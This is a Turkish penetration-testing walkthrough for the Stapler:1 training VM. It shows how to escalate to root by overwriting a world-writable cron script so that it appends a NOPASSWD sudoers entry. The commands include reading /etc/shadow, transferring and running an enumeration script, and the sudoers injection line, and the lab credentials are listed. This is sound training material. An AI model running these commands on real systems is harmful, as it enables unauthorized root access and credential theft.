Linux-Local-Enum Betiği ile Tespit Edilen Hatalı Yapılandırma Zafiyeti İstismar Edilerek root Yetkileri ile Komut Satırının Elde Edilmesi

0
544
views
Linux sızma testleri sırasında standart haklar ile erişim sağlanabilmiş bir bilgisayarda, hak yükseltilerek yönetici hakları elde edilmeye çalışılır. Hak yükseltmek için kullanılan yöntemlerden birisi de hatalı yapılandırma ayarlarının istismar edilmesidir. Bu yazıda, Stapler:1 sanal makinesindeki herkesçe yazılabilir olarak ayarlanmış zamanlanmış görev, linux-local-enum betiği ile tespit edilecek ve içeriği değiştirilerek standart kullanıcı haklarından “root” kullanıcısı hakkı ile komut satırı elde edilecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Yazıda kullanılan Stapler:1 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/stapler-1,150/

 

Bu makineye aşağıdaki bilgiler ile SSH servisi üzerinden erişim sağlanabilir.

Kullanıcı Adı: SHayslett
Parola: SHayslett
veya
Kullanıcı Adı: peter
Parola: JZQuyIN5
veya
Kullanıcı Adı: JKanode
Parola: thisimypassword

 

Linux işletim sistemine standart kullanıcı yetkisine sahip bir kullanıcı (SHayslett) ile erişime sahip olunduğu görülmektedir.

id
grep -Ev “/bin/false$|/usr/sbin/nologin$” /etc/passwd | head -3
grep -Ev “/bin/false$|/usr/sbin/nologin$” /etc/passwd | tail -10
cat /etc/shadow

 

Muhtemel hak yükseltme zafiyetlerinin listesi için linux-local-enum isimli Bash betiği (Quick Linux Local Enumeration Script) kullanılabilir. Kurban makinenin internet bağlantısının olmadığı senaryo için ilgili betik saldırgan makineye indirilir.

wget https://highon.coffee/downloads/linux-local-enum.sh

 

İndirilen dosya bir servis (web gibi) üzerinden erişime açılır ve kurban makineye aktarılır.

md5sum linux-local-enum.sh
python -m SimpleHTTPServer 8888

wget 172.20.50.128:8888/linux-local-enum.sh
ls -la linux-local-enum.sh

 

Betik çıktısı uzun olduğu için bir dosyaya yazdırılması gerekebilir.

chmod +x linux-local-enum.sh
ls -la linux-local-enum.sh
./linux-local-enum.sh 2>/dev/null 1> Sonuc.txt
tail -2310 Sonuc.txt | head -35

 

Gerçekleştirilen tüm kontrollerin listesi aşağıdaki gibidir.

cat Sonuc.txt | grep “## ”

Linux Version
Kernel Info
Network Info
File System Info
Mounted File Systems with Pretty Output
/etc/fstab File Contents
/etc/passwd File Contents
/etc/passwd File Contents
/etc/group File Contents
/etc/sudoers File Contents
Sticky Bit Files
World Writable Directories
World Writable FIles
Files Owned by Current User
/home and /root Permissions
Logged on Users
Last Logged on Users
Processes Running as root
Installed Packages for RHEL / Debian Based Systems
CentOS / RHEL Services that start at Boot
List of init Scripts aka System Services

 

Hak yükseltme zafiyetleri incelendiğinde “cron-logrotate.sh” adlı bir dosyanın herkes tarafından yazılabilir olduğuğu görülmektedir. Hatta bu dosyanın sahibinin “root” olduğu, erişim yetkilendirmesinin ise 777 olarak bırakıldığı görülmektedir.

cat Sonuc.txt | grep -i “World Writable FIles” -A6 -B3
ls -la /usr/local/sbin/cron-logrotate.sh
cat /usr/local/sbin/cron-logrotate.sh

 

“cron-logrotate.sh” dosyasını çağıran dosyalar listelendiğinde 5 dakikada bir çalışan “logrotate” adlı zamanlanmış görev tespit edilmektedir.

grep -rnw ‘/’ -e ‘cron-logrotate.sh’ 2>/dev/null

 

Hak yükseltmek için “cron-logrotate.sh” dosya içeriğine çalıştırılabilir ve hak yükseltmeye yarayan bir ifade yazılarak zamanlanmış görevin çalışması beklenir.

cat /etc/sudoers
sudo -l
cat /usr/local/sbin/cron-logrotate.sh
echo ‘echo “SHayslett ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers’
echo ‘echo “SHayslett ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers’ > /usr/local/sbin/cron-logrotate.sh
cat /usr/local/sbin/cron-logrotate.sh
date

 

Bir süre sonra zamanlanmış görev çalışarak hak yükseltilmiş olur.

date
sudo -l
cat /etc/sudoers
sudo cat /etc/sudoers | tail -5

 

Böylece “root” yetkileri ile komut satırına erişim sağlanılmış olur.

sudo su –
id
head -3 /etc/shadow

 

 

Kaynaklar:

Stapler: 1 walkthrough (long version)

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.